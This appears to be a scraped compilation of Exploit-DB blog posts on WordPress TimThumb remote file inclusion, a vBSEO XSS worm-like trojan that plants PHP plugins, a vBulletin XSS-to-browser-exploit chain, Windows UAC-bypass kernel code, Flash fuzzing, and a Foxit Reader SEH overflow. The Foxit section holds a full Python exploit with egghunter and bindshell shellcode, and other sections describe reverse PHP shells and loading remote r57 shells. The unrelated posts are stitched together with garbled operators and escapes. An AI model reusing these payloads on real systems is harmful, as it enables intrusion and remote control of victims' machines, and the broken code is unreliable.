HacKerS DElite

WordPress is one of the worlds biggest blogging platforms and can be easily extended with vulnerable add-ons to support a variety of functions – from CMS’s to stores and pretty much anything in between. Within some web applications, themes may contain variables that refer to dynamic elements while in others, like WordPress, insecure PHP files used for caching and resizing images are surprisingly quite common.

So what’s all the fuss about? Recently, an 0day was discovered in a project called “TimThumb” which essentially, caches even remote files locally, without doing any proper sanitization. The file “timthumb.php” does however, check if to see if the target file is actually an image or not. This timthumb file is also quite often renamed to something else and is used in many themes.

TimThumbCraft – Image Crafting Tool

The easiest way to trick TimThumb into believing a remotely stored image (that also contains evil PHP code) is an actual image, is to either craft it yourself or by using an external tool. In this case, I decided to write a small tool for the job which also has a few encoding features, payload types, and of course, options for custom images.

Using the tool is pretty straight forward and intuitive. But what are its complete features?

Feature List:

• List known vulnerable themes
• Choose between 2 images or select your own
• Enter your own code or use the Reverse PHP Shell
• Encode your PHP Payload, this applies only if “code” is chosen
• Base64 and Hexadecimal encoding is currently supported
• Hexadecimal output of the created file. (Can be used in paste’s, etc.)
• MD5 calculation of filename, that the target server will most likely use

It doesn’t work when you tried, why?

If the src field on the target server doesn’t require Base64-encoded strings as some do, the issue is most likely because the evil domain you created isn’t readable by the web server or because it isn’t in the list of allowed domains contained within the timthumb.php file. From version to version, this appears to have changed but in version 1.32, blogger.com was a valid domain.

Q: What should the created subdomain look like?
A: blogger.com.yourdomain.tld

Simply enough, you need to test in your web browser that you can access your subdomain and of course, upload the image file which you created with TimThumbCraft. If your image is displayed when you perform the call to the timthumb.php file on the target server, you may have to press CTRL+F5 in your browser as it may be the case that the image is locally cached.

Another very important thing is that it’s very easy to change the cache directory so in some cases, the cache directory on the target may not be named “cache”. Last but not least, from version to version, strings may be prepended to the file that you forced the target server to cache locally. When I tested 1.33 in which the original researcher reported a vulnerability, it seemed like it created files without any extension. Therefore, I used 1.32 as I could confirm it was exploitable.

What can you do with eval()? Seriously

If you know PHP, you’re aware that you can do anything that the all-too-common malicious PHP shells can do. If you want to load a remote shell and allow_url_include is enabled within php.ini, use: include(“full url here”); and simply hit enter. As you can see in the screenshot below, I loaded a remotely stored r57 shell to demonstrate this PHP feature. Many RFI and LFI vulnerabilities are related to dynamic use of the include(); function in PHP.

Is there a patch for this vulnerability?

Yes. The original researcher rewrote the entire script, line by line, to optimize it and make it more secure. I did a quick review of the code and fuzzed a few fields I found interesting to see if there were any obvious mistakes. None were found, so the newest version is “pretty secure”. Remember though that nothing is 100% secure.

If you want to find timthumb files on your server the right way, issue this command in a terminal: (Thanks rAWjAW for the CLI Kung Fu)

Be sure that you’re in the www / document root of your web server as you may not know where any timthumb files are located and what they’re named. Hence the reason it’s a very bad idea to just search for “timthumb.php” as a lot of researchers recommended.

References:
Proof of Concept: http://www.exploit-db.com/exploits/17602/
TimThumbCraft: Download it here
Demo Video (LQ): http://www.youtube.com/watch?v=udyEOzHK08E
Demo Video (HQ): https://rapidshare.com/files/2016620847/timthumb.avi
Original Info: http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
Vulnerable Themes: http://blog.sucuri.net/2011/08/timthumb-security-vulnerability-list-of-themes-including-it.html

http://www.exploit-db.com/wordpress-timthumb-exploitation/

XSS is not a big deal, or is it? On many occasions, I’ve seen this vulnerability being classified as useless, not serious, and being a low threat. What I’ve always had in mind is that it’s only the capabilities of the browser, and the hackers mind which sets the limit for a XSS attack.

It may seem impossible to do anything else other than stealing sessions, cookies and performing phishing, client side defacements etc. But take a look at the picture above, that is a reverse php shell automatically injected into the site, when a vBulletin administrator viewed a malicious linkback.

The vulnerability itself I’m referring to, is a 0day within vBSEO which exists within the administrator and moderator panel only. However, the attacker is able to inject persistent scripts via this linkback feature directly into the part of these panels handling these linkbacks.

In short, the attacker crafts a malicious HTML page as shown in the advisory. Then, the attacker clicks a link to the target forum with vBSEO installed, and when the target is reached, vBSEO performs a GET-request to the attacker’s malicious HTML page (if it’s served online and if RefBacks are enabled).

The title of this page is then loaded directly into the database, and an administrator can see it sanitized in the actual thread, but also in the admin and mod panel where the title is not sanitized at all, allowing the script to run.

What is actually possible?

After discovering and researching this vulnerability, I realised it was a fine case to do further studies on and then develop a XSS worm. Fortunately I got away from that idea due to the fact it could’ve been abused globally on forums with vBSEO installed. However, the idea itself was not bad so I began developing the payload aka the javascript, which would eventually inject a PHP payload via the nice plugin feature in vBulletin.

Initially, the XSS trojan I wrote should be able to do all of this silently without the user knowing, so instead of document.write being used, appendChild which uses DOM objects, was used instead. This took a bit more work in order to function better, but the result was that the visible window would not change to the affected user getting infected with this trojan.

When the user browses to, in this case “Moderate Linkbacks”, the script is executing as soon as the user hits that page. When this happens, the trojan checks whether infection has already happened once and if not, continues. Then an iframe is created outside the visible frames, where the adminhash and securitytoken (CSRF-token) is read and saved in a local variable in the browser.

Then a new form is injected into this iframe, which contains the adminhash and the securitytoken. The form itself contains the values needed to create a new and completely valid plugin which in this case, is PHP code. At this point, the script checks again if the user has already been infected and if not, the form is submitted, the plugin is created, and a cookie is set to prevent the script from going in loops.

Most administrators, would notice the broken lock icon in case they use HTTPS / SSL, and then they would view the source. The great thing about using javascript to create HTML objects, especially with “appendChild” etc. is that it is not visible. A debugger, such as Firebug shown in the picture above is needed, unless the admin finds the malicious javascript payload and reads what it does, but then it might be too late.

During the execution of the XSS trojan, a time-out is set. When time runs out, the XSS trojan will try to delete itself leaving almost no traces, besides the possible injected plugin, and the remains of the hidden iframe outside the frames which cannot be viewed due to the way HTML works in FireFox.

If the attacker was successful, and patient as well, he would eventually see that the target website had already connected back to retrieve the title, but also that another user had triggered the XSS Trojan which hopefully injected the PHP plugin specified by the attacker.

So what’s this tool I’ve been using during my presentation of this vulnerability? It’s a recently developed tool written in Python, where the payload is written in Javascript, freely available to anyone in the bottom of this blog. I recommend however, that a user of this tool looks inside the source code.

Is XSS a serious threat then?

Yes, it definitely is.

For a demonstration of the tool and this vulnerability, check either the YouTube or RapidShare link below.

References:
Advisory: vBSEO 3.5.2 3.2.2 – Persistent XSS via LinkBacks
Advisory #2: vbSEO Multiple Vulnerabilities
EvilWebTool: EvilWebTool
YT Video: http://www.youtube.com/watch?v=B6QAjB3kYec
HQ Video: http://rapidshare.com/files/445021103/vbseo_0day.mp4

http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/

There’s nothing like having your butt kicked Christmas morning, which is exactly what happened to us today. We were owned and exposed, in true fashion. Initially, the inj3ct0r team took “creds” for the hack, which quickly proved false as the original ezine showed up – and now inj3ct0r (their new site) is no longer online. As a wise Chinese man once said: “do not anger one who has shell on your server”. The zine also mentioned other sites, as well as the ettercap project being backdoored.

We are currently cleaning out our systems and analyzing the attacks – thankfully, the compromise was limited to non root access, and other than our egos, the damage is not severe. To the “owned and exposed” guys, we have a couple of things to say:

1) Thanks for not rm’ing us.

2) The irony of posting your zine in our “papers” section is not lost on us.

Merry Christmas to you all, and a happy new year!

http://www.exploit-db.com/owned-and-exposed/

Since we took up the torch of the Google Hacking Database from Johnny Long, we have introduced some changes that we feel provides a great deal of added value to our database of dorks. To make it easier for our visitors to identify changes in the database, there is a ‘New’ graphic that will appear next to a category name where new entries have been added.

In addition, and most useful, is the introduction of a ‘Free text search’ capability that will allow our users to search within the text of each entry. You can also further narrow down your search to a specific category of dorks.

We felt that the addition of the GHDB to the Exploit Database was a great fit since we have a very large collection of web application exploits and proofs of concept, many of which include Google dorks in the text already. The challenge was to import all of our pre-existing entries into the GHDB which was not a task for the faint-hearted as it is a very time-consuming process. Fortunately, root-boy, a proud OSCP, volunteered to take on this daunting task for us and completed it far faster than we could have hoped for. A big thank you goes out to root-boy from the entire Exploit-DB team.

It is our hope that you enjoy our recent changes and additions to GHDB and we are welcoming further submissions beyond exploits. You can submit dorks either through our forums or to send them in via email, check out our submit page.

http://www.exploit-db.com/google-hacking-database-updates/

// Get the running kernel file name
HMODULE hDll = GetModuleHandle(L“ntdll.dll”);
pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,“ZwQuerySystemInformation”);
PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
ULONG AllocSize = 0;
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, AllocSize);

pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, AllocSize);
HMODULE hKernel = LoadLibraryExA(pModInfo-modinfo[0].ImageName + pModInfo-modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);

//Relocation to the running kernel base
DWORD Delta =  (DWORD)pModInfo-modinfo[0].Base - (DWORD)hKernel;

free(pModInfo);

// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
// so we need a valid pool address to avoid BSOD.

if(vi.dwBuildNumber 7600)    
{
    FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);

    HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L“Local\PoC”);
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
    AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
    fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, AllocSize);

    pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
    fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, AllocSize);

    for(DWORD i = 0; i pHandleInfo-NumberOfHandles; i++)
    {
        if((HANDLE)pHandleInfo-Handles[i].HandleValue == hDummy)
        {
            *(DWORD*)(RegBuf + 0×4) = (DWORD)(pHandleInfo-Handles[i].Object) - 0×18;
            break;
        }
    }
    free(pHandleInfo);
}
else
{
    FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0×30);
}

// Now fills the API addresses needed
FixDWORD(pMem, sizeof(Data), 0×11111111, (DWORD)GetProcAddress(hKernel, “ExAllocatePoolWithTag”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×22222222, (DWORD)GetProcAddress(hKernel, “RtlInitAnsiString”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×33333333, (DWORD)GetProcAddress(hKernel, “RtlAnsiStringToUnicodeString”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×44444444, (DWORD)GetProcAddress(hKernel, “MmGetSystemRoutineAddress”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×55555555, (DWORD)GetProcAddress(hKernel, “RtlFreeUnicodeString”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×66666666, (DWORD)GetProcAddress(hKernel, “memcpy”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×77777777, (DWORD)GetProcAddress(hKernel, “memset”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×88888888, (DWORD)GetProcAddress(hKernel, “KeDelayExecutionThread”) + Delta);
FreeLibrary(hKernel);

// Here we tell the shellcode(PE loader) where the driver buffer is.
FixDWORD(pMem, sizeof(Data), 0×11223344, sizeof(DrvBuf));
FixDWORD(pMem, sizeof(Data), 0×55667788, (DWORD)pDrvMem);

http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/

I have recently been doing some fuzzing on the Adobe Flash Player. I started by implementing a simple format fuzzer for Flash based on a homegrown framework that I have been developing for awhile. I implemented and executed tests and progressively covered more and more of the format. After a few days, I noticed one of the SWF files causing strange crashes, the “Just in time” debugger gets triggered but the process is terminated.

Note: The debugging process has taken place under a Windows XP SP2 machine with Adobe Flash 10.1.85.3 installed. During the debugging process we debugged Internet Explorer while it was rebased to the address 03281000.

I started debugging it for awhile and saw that there was an off-by-one vulnerability in one of the functions responsible for parsing the “DefineFont2” tag’s data. The vulnerability is not as straight-forward as it may seem, however. The main function that parses “DefineFont2” is parsing the entire tag correctly, as the data propagate and the font we defined is rendered for use, the vulnerability occurs. The tag “DefineFont2” allows us to specify a font-name with the size of up-to 0xFF bytes. The “DefineFont2” tag’s format is as follows:

After the initial processing of the “DefintFont2” tag, the function at 032ACB45 “CopyFontName” allocates a new buffer to store the font-name parameter it received. The buffer is allocated by calling the function “AllocateBuffer” at the address 032CA7FE.

Note: The function “AllocateBuffer” is wrapped by another function. The call is indirect but for the sake of simplicity, we modified the listing to show a direct call.

“AllocateBuffer” allocates a new buffer at the size of the given string. (This buffer will be used to overflow the stack with an off-by-one vulnerability later-on)

This part of the function calculates the length of the given string; it is equivalent to the following code:

After the length of the string is calculated, the function allocates a buffer at the proper size and copies the contents of the string onto the buffer. When “AllocateBuffer” returns, “CopyFontName” calls “NullTerminate” with the constant parameter of 0×80 to limit the buffer size to no more than 0×80.
Later on, the buffer that we allocated gets copied to a stack buffer during the execution of the function “Overwrite” (03426283). This function has a stack buffer with the size 0×80 to copy the string into. The problem is that the string size is 0×80 + a null terminator (which is actually 0×81). The function copies the string using the following compiler-generated code:

This code fragment first copies a character and only then checks if that character is a null (as most string copy functions do). The result is a classic off-by-one vulnerability that results in the overwrite of a single byte of the stack cookie with null. This condition is not exploitable under the windows platform and it causes the browser to crash while failing the stack-cookie test.

(Btw, this vulnerability is currently a zero-day as far as i know)

About the Author

Tal Zeltzer (zelik) is a security researcher from Israel, focusing on reverse engineering both software and hardware. He spends most of his free time developing private security tools and exploits for fun.

http://www.exploit-db.com/fuzzing-vs-reversing-round-1-fuzzing/

After a few days of fuzzing, I noticed that I covered a large part of the format (at least the part I found interesting) so I then began reverse engineering the format more thoroughly. I started by mapping out the tag-types and reviewing functions that parse them.
After I spent a few hours just poking around and getting a stable list of function names and addresses, I noticed something strange; it seems there is an undocumented tag (0×03).

I began examining the tag and noticed it has the following structure:

Note: The reversing process has taken place under a Windows XP SP2 machine with Adobe Flash 10.0.42.34 installed while it was rebased to the address 0×02531000.

I quickly launched my flash fuzzer and added the new tag structure to the tag list so I would be able to trace the function execution and understand it faster. I generated a valid SWF file, placed a breakpoint on the function that parses the unknown tag “ParseUnknownTag0x03” at 025F4A30, and launched the debugger.

While debugging this function, I noticed that EAX is being assigned the “unknown0” variable that I mapped. EAX then gets limited to 0x7F and is used as an index to an unknown array. This array is all zeros besides one element that contains a pointer to an unknown struct / class. The element is 0x7F and is as high as we can go. Even if we enter 0xFFFF as our “unknown0” value, we will still get up-to 0x7F and no more.
A quick translation of the code fragment would be:

object = this-swfObject[unknown0 0x7F];
objectPointerOnTable = this-swfObject[unknown0 0x7F];

if (object == NULL)
{
  return(0);
}

I stopped debugging and modified my flash fuzzer to generate the exact same file but with the value “unknown0” set to 0x7F. This time the object was not a NULL so the function execution continued until I reached the following code fragment (as a part of a loop):

I took a quick look at “[esi+0D0h]” and saw it contained the value 0xFFFE.
If the values do not match, the loop continues then quickly breaks and the function returns. I then modified “unknown0” to 0xFFFE and restarted the debugging process. And then I noticed that if these values do match, a call to “HeapFree” is made. I then continued execution, took a look at Internet Explorer and… boom, access violation.

Looking at these values, I quickly concluded that it is a use-after-free. The structure being accessed was replaced by an irrelevant string.
I found several ways to control the data within the structure but no code-execution. The down-side to this vulnerability is that, as you can see, the crash occurs during a read operation.
I spent awhile trying to find an arbitrary write or a virtual function table call and found an arbitrary write but was unable to automate it for situations other than in the lab. (The trigger required specific events to occur).
And this is why I left the vulnerability untouched until it got patched.

Conclusion:
Both methods of research (reverse engineering and fuzzing) are extremely useful.
Most people just choose one of the two and miss the vulnerabilities that are easy to find using the alternative method. When conducting research you should probably keep an open-mind and try both reversing and fuzzing. And even if you choose to conduct just fuzzing you should still debug every “tag” and make sure you are covering as much as you can.

About the Author

Tal Zeltzer (zelik) is a security researcher from Israel, focusing on reverse engineering both software and hardware. He spends most of his free time developing private security tools and exploits for fun.

http://www.exploit-db.com/fuzzing-vs-reversing-round-2-reversing/

The popular vBulletin software is generally a quite secure forum application if you exclude the minimal amount of vulnerable addons. However, when new features are occasionally included, such as Profile Customization, a new vulnerability might be born.

In the actual customization feature it is possible to supply color codes such as: #000000, RGB codes like rgb(255, 255, 255) and even images! Imagine changing the user profile background, to a custom image. This is possible with url(‘path/to/image.png’)! But there’s more..

With a new feature accepting custom strings from a user, wouldn’t a hacker try to break it? Of course he or she would. A locator string such as: ?’HaXx”/ is sufficient to break almost any unsanitized web application including user features within these.

As shown above, the profile customization feature allows even custom (invalid) strings and this could be bad, especially if they aren’t escaped or encoded correctly.

In this scenario, apostrophes are escaped so they become: ’ which is good because neither a user nor hacker will be able to add javascript right after the style variable. However, quotes and HTML tags are not escaped nor encoded. This allows a hacker to simply end the script tag and possibly inject HTML or script tags. There are luckily some bad words, in this case the script tag is bad as it is matched with most likely the preg_match() function, but that is far from sufficient since a hacker can easily inject other tags.

Just because script can’t be used, it doesn’t mean it is impossible to execute javascript. In fact, it is piece of cake for experienced XSS hackers. Take for example, the image tag img. With that it is possible to add an “onerror” eventhandler which is executed in case the image isn’t loaded, and the content of the eventhandler, is javascript of course. Before even trying to inject javascript, a simple image could be used for testing so the final string could look like this:

As seen per the source code of the target site, the input is working as expected though an image has not been supplied to the source (src) variable, which is added afterwards via a new “attack” of course.

Success! But what about javascript?

After testing the feature a bit more, it appears that custom strings needs to be encoded, and this can easily be done with virtually any (good) encoder online, but “The /* XSSOR */” does the job fast and efficiently. There is however, a bug in the online version which escapes user input due to magic quotes being enabled. Therefore, avoid ‘ ” and in any strings sent to the application in case you use it.
When a simple string such as “Hello MaXe” is encoded in character codes, the final string can look like this:

Now after researching this vulnerability a bit more in depth, it was quickly discovered that the initial vulnerability is only reflected back to the hacker. This is good for the forum administrator, and bad for the hacker. The developers of this application may have thought it wasn’t possible to inject javascript into CSS style sheets, but that is incorrect because that is certainly possible. The first vulnerability discovered was within a script tag, while to any other user browsing the malicious forum profile, the code is contained within an external file disabling both tag escape sequences and other bypass methods too. However, as mentioned in the XSS stylesheet at ha.ckers.org, it is possible to inject javascript into CSS style sheets if the target user is using Internet Explorer (version 6 and most likely 7. Maybe even 8 as well, perhaps future versions too.) With this knowledge in our mind, our attack vector changes from being a simple XSS attack contained within a script tag, to a CSS style sheet where the target browser must be included in the attack as well. For demonstration purposes, an old version of Internet Explorer 6 is used. Not only to show this attack vector, but also to show what is possible to do with XSS!

A redirection string is injected into the malicious user profile controlled by the hacker, and the actual attack string could look like this:

One may wonder, why redirect to the localhost? In this proof of concept, the target is redirected to a hacker serving a browser exploit via Metasploit. The above string is just an example.

All the target user running an ancient version of Internet Explorer has to do, is to view the malicious profile controlled by the hacker. When this happens, for example with a bit of Social Engineering (“hey! check out my profile!”) the viewer is redirected to the attacking machine which serves a browser exploit right away.

And boom! Pwned via XSS + Browser Exploit. If that isn’t serious, I don’t know what is. Of course, for this to work in real life scenarios, the target user must either have an outdated browser (quite common), or the hacker must have a 0day for that specific browser. Browser Exploitation Kits can be used as well, where the target is first identified as being e.g. IE or FF, and then all relevant exploits are fired against it.

Check out the video and the advisory disclosed to Exploit-DB, Bugtraq and InterN0T in case you haven’t read it yet.

All the best,
MaXe

References:
[1] http://intern0t.blip.tv
[2] vBulletin 4.0.8 Persistent XSS via Profile Customization
[3] http://ha.ckers.org/xss.html
[4] http://blip.tv/file/4381880
[5] http://www.youtube.com/watch?v=LOcLFVAqgOU

Questions? Comments? Discuss this post in our Forum

http://www.exploit-db.com/vbulletin-a-journey-into-0day-exploitation/

Some time ago, when Adobe Reader 0days were dropping left, right, and centre, Foxit Reader was frequently mentioned as a safer alternative to using Adobe. While it may be true that there are not as many exploits available for Foxit, that does not mean that it is invincible.

With this in mind, I decided to do some fuzzing using the Microsoft SDL MiniFuzz program. I fed the fuzzer a larger number of seed files, many of them Blackhat whitepapers, and let it run. Within a mere couple of hours, I was greeted with a few crashes, one of them resulting in a SEH overwrite.

Next up, I needed to determine what was causing the crash so I opened up the pdf in my trusty text editor.

At this point, I knew a couple of things. First, since the SEH was overwritten with 00E700E7, I knew I was dealing with a Unicode exploit and secondly, it was caused due to a failure in Foxit to properly sanitize the Title tag input. My next task at this point was to determine where exactly the overwrite was occurring in the string so I generated a random pattern of 10000 bytes using Metasploit and pasted it into the pdf file.

Opening up the pdf in Foxit, I saw that the SEH was overwritten with my unique pattern.

Passing the character string ‘r9As’ to the pattern_offset.rb script, I was able to determine the location of the SEH overwrite.

At this point, I stripped out as much unnecessary data out of the pdf as I could and whipped up a quick and dirty python script to make the editing process much easier, including the nSEH and SEH overwrite.

#!/usr/bin/python

preamble = “x25x50x44x46x2Dx31x2Ex34x0Ax25xE2xE3xCFxD3x0Ax38x31x20…
…x30x30x27x29x2Fx54x69x74x6Cx65x28x50x61″

lead = “x41″ * 538
nseh = “x42x42″
seh = “x43x43″
trailer = “x44″ * 9384
trailer += “xE7xE7″
trailer += “dookie was here: breaking your pdf reader application”
trailer += “x29x3Ex3Ex0Ax65x6Ex64x6Fx62x6A”

sploit = preamble + lead + nseh + seh + trailer
filename = “foxit_title.pdf”
evil = open(filename, ‘w’)
evil.write(sploit)
evil.close

Generating the evil pdf and opening it up in Foxit gave me a wonderful crash with complete control over the SEH chain.

With control over SEH out of the way, the next thing to do was to find a Unicode-friendly pop-pop-retn sequence of instructions. The main Foxit binary was not SafeSEH protected so that was where I decided to look first. A good candidate was found at 0x004D002F so I plugged that into my script. I also needed to find some Unicode characters to place in nSEH that when executed, would walk over the SEH address without causing any damage and edited my script accordingly.

Loading up the new pdf in Foxit, I set a breakpoint on the SEH and passed the exception twice in order to reach my p/p/r address.

I then single-stepped through the p/p/r instructions into nSEH and then “walked” right across the SEH overwrite.

Up until this point, everything was indicating that this was going to be a nice, “vanilla” Unicode exploit. All I would need to do is add some Unicode-compatible shellcode farther down in the stack, add some bytes to EAX and be on my way. Then, I discovered the bad character set:

Since the character x05 is bad, that meant I would not be able to do an ADD EAX as planned. I also wasn’t too happy with the amount of space available for shellcode since Unicode shellcode takes up a lot of room. I decided to do a quick search of memory to see if my buffer was unmolested elsewhere.

Pleasantly enough, I had well over 9000 bytes of space available for shellcode and even though it was still Alpha, that left tons of room available. This situation, of course, just begs for an egghunter. Armed with all of this information, I came up with my strategy:

1. Generate alphanumeric bindshell shellcode
2. Place the egg and shellcode deeper into my buffer
3. Generate Unicode egghunter shellcode
4. Align EAX to point to the beginning of the egghunter shellcode

The first and second steps were the easiest. I simply used Metasploit to generate some alpha_upper shellcode using EAX as the base register which I add into the exploit along with “w00tw00t” as my egg.

Next up on my list of tasks is to generate Unicode-compatible egghunter shellcode but there was one issue I had to contend with. When the egghunter successfully locates the egg, it jumps to the EDI register that is pointing to the shellcode. Since the final shellcode is Alpha, I also needed EAX to point to it in order to decode it properly so I needed to edit the egghunter to include a MOV EAX, EDI instruction prior to the jump to EDI. My new egghunter looks like this:

Now I needed to take this new egghunter and encode in Unicode format. Once the shellcode had been assembled, I just needed to use skylined’s ALPHA3 encoder, using the egghunter as the input.

I added this newly-encoded shellcode to my exploit in progress and did some massaging of lengths so the code at this point looked like the following:

#!/usr/bin/python

preamble = “x25x50x44x46x2Dx31x2Ex34x0Ax25…
…x30x37x27x30x30x27x29x2Fx54x69x74x6Cx65x28x50x61″

# 202 byte unicode egghunter – EAX base register
egghunter = (“PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAI”
“AJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB1V3Q7ZKOLO”
“0B0R1ZKR0X8MNNOLKU0Z2TJO6X2W00002T4KJZ6O2U9Z6O2U9W4K7WKO9WKPA”)

# Bindshell – Does not need to be Unicode friendly as it is untouched in memory – 745 bytes
bindshell = (“x50x59x49x49x49x49x49x49x49x49x49x49x51x5ax56″
“x54x58x33x30x56x58x34x41x50x30x41x33x48x48x30″
“x41x30x30x41x42x41x41x42x54x41x41x51x32x41x42″
“x32x42x42x30x42x42x58x50x38x41x43x4ax4ax49x4b”
“x4cx4bx58x4bx39x45x50x45x50x45x50x43x50x4cx49″
“x4ax45x46x51x4ex32x45x34x4cx4bx51x42x46x50x4c”
“x4bx46x32x44x4cx4cx4bx50x52x42x34x4cx4bx42x52″
“x47x58x44x4fx4ex57x50x4ax46x46x46x51x4bx4fx50″
“x31x4fx30x4ex4cx47x4cx45x31x43x4cx44x42x46x4c”
“x51x30x49x51x48x4fx44x4dx45x51x49x57x4bx52x4a”
“x50x50x52x50x57x4cx4bx50x52x44x50x4cx4bx50x42″
“x47x4cx45x51x4ex30x4cx4bx51x50x42x58x4bx35x49″
“x50x43x44x50x4ax43x31x4ex30x46x30x4cx4bx47x38″
“x45x48x4cx4bx51x48x47x50x45x51x4ex33x4dx33x47″
“x4cx50x49x4cx4bx47x44x4cx4bx43x31x4ex36x50x31″
“x4bx4fx46x51x4fx30x4ex4cx4fx31x48x4fx44x4dx43″
“x31x49x57x50x38x4bx50x44x35x4cx34x44x43x43x4d”
“x4cx38x47x4bx43x4dx51x34x42x55x4ax42x51x48x4c”
“x4bx46x38x47x54x45x51x48x53x45x36x4cx4bx44x4c”
“x50x4bx4cx4bx51x48x45x4cx43x31x49x43x4cx4bx43″
“x34x4cx4bx43x31x4ex30x4cx49x47x34x51x34x47x54″
“x51x4bx51x4bx43x51x50x59x51x4ax46x31x4bx4fx4b”
“x50x51x48x51x4fx51x4ax4cx4bx42x32x4ax4bx4dx56″
“x51x4dx43x58x47x43x47x42x43x30x43x30x42x48x44″
“x37x44x33x50x32x51x4fx51x44x45x38x50x4cx43x47″
“x47x56x44x47x4bx4fx48x55x48x38x4cx50x43x31x45″
“x50x43x30x51x39x48x44x50x54x50x50x42x48x46x49″
“x4dx50x42x4bx45x50x4bx4fx4ex35x50x50x50x50x46″
“x30x46x30x51x50x50x50x47x30x50x50x43x58x4ax4a”
“x44x4fx49x4fx4bx50x4bx4fx49x45x4cx49x49x57x46″
“x51x49x4bx46x33x43x58x45x52x43x30x44x51x51x4c”
“x4cx49x4ax46x42x4ax44x50x50x56x46x37x45x38x4f”
“x32x49x4bx47x47x45x37x4bx4fx4ex35x51x43x46x37″
“x45x38x4fx47x4bx59x46x58x4bx4fx4bx4fx4ex35x50″
“x53x51x43x51x47x45x38x44x34x4ax4cx47x4bx4bx51″
“x4bx4fx48x55x51x47x4bx39x48x47x42x48x43x45x42″
“x4ex50x4dx43x51x4bx4fx49x45x42x48x43x53x42x4d”
“x42x44x45x50x4cx49x4dx33x50x57x50x57x46x37x50″
“x31x4ax56x42x4ax42x32x51x49x46x36x4ax42x4bx4d”
“x42x46x49x57x47x34x51x34x47x4cx45x51x43x31x4c”
“x4dx50x44x51x34x42x30x4fx36x43x30x47x34x50x54″
“x46x30x46x36x51x46x51x46x50x46x46x36x50x4ex51″
“x46x50x56x50x53x50x56x43x58x44x39x48x4cx47x4f”
“x4dx56x4bx4fx4ex35x4bx39x4bx50x50x4ex50x56x51″
“x56x4bx4fx46x50x45x38x45x58x4cx47x45x4dx45x30″
“x4bx4fx4ex35x4fx4bx4ax50x4ex55x4ex42x46x36x42″
“x48x49x36x4ax35x4fx4dx4dx4dx4bx4fx48x55x47x4c”
“x43x36x43x4cx45x5ax4dx50x4bx4bx4bx50x43x45x43″
“x35x4fx4bx47x37x44x53x42x52x42x4fx42x4ax45x50″
“x51x43x4bx4fx4ex35x44x4ax41x41″)

lead = “x41″ * 538
nseh = “x41x6d” # Walk over SEH
seh = “x2Fx4D”  # p/p/r from app binary
filler = “x41″ * 130
egg = “w00tw00t”
trailer = “x44″ * 8507
trailer += “xE7xE7″
trailer += “dookie was here: breaking your pdf reader application”
trailer += “x29x3Ex3Ex0Ax65x6Ex64x6Fx62x6A”

sploit = preamble + lead + nseh + seh + filler + egghunter + filler + egg + bindshell + trailer
filename = “foxit_title.pdf”
evil = open(filename, ‘w’)
evil.write(sploit)
evil.close

Just to be sure I hadn’t broken anything beyond repair to this point, I loaded up the pdf in Foxit and checked the debugger to make sure the Unicode egghunter was in place along with the Alpha-encoded bindshell.

The final piece of this puzzle was to adjust the EAX register so it pointed to the beginning of the Unicode-encoded egghunter shellcode while being mindful of the fact that there are a great deal of bad characters to contend with. With my sloppy binary math, this would take many instructions but one of our Offsec alumni, devilboy, came up with this short little sequence in his Foxit exploit to point EAX closer to where I needed to be.

Using this alignment sequence, I needed to add 104 bytes of ‘filler’ between the alignment code and the egghunter so that EAX was pointing at the first instruction in order to start decoding it.

With everything aligned properly, the only remaining step was to make sure that the egghunter properly located my bindshell shellcode so I let the egghunter shellcode decode and placed a breakpoint just before jumping to the EDI register. I let the egghunter run and (hopefully) hit the breakpoint. Once the breakpoint was hit, EAX was pointing at the Alpha shellcode along with EDI so the egg was found successfully.

With everything seemingly working correctly, it was time to run the exploit without the debugger and reap my reward.

The finalized exploit has the following structure:

My completed Foxit Reader Egghunter Exploit is just one of several methods to gain code execution with this vulnerability and it was very interesting to see what the Offsec alumni came up with in their solutions. Congrats to Sud0 for being the first contestant to deliver a weaponized Foxit exploit in less than 5 hours!

Much thanks to muts for insisting I keep plugging away at this and thanks to devilboy for letting me borrow his EAX alignment sequence.

-dookie

http://www.exploit-db.com/foxit-reader-stack-overflow-exploit-egghunter/

The incredible amount of information continuously leaked onto the Internet, and therefore accessible by Google, is of great use to penetration testers around the world.  Johnny Long of Hackers for Charity started the Google Hacking Database (GHDB) to serve as a repository for search terms, called Google-Dorks, that expose sensitive information, vulnerabilities, passwords, and much more.

As Johnny is now pursing his mission in Uganda, he has graciously allowed us at The Exploit Database to pick up where the GHDB left off and resurrect it.  It is with great excitement that we announce that the GHDB is now being hosted by us and actively maintained again.  This will allow us to tie the GHDB directly into our database of exploits providing the most current information possible.

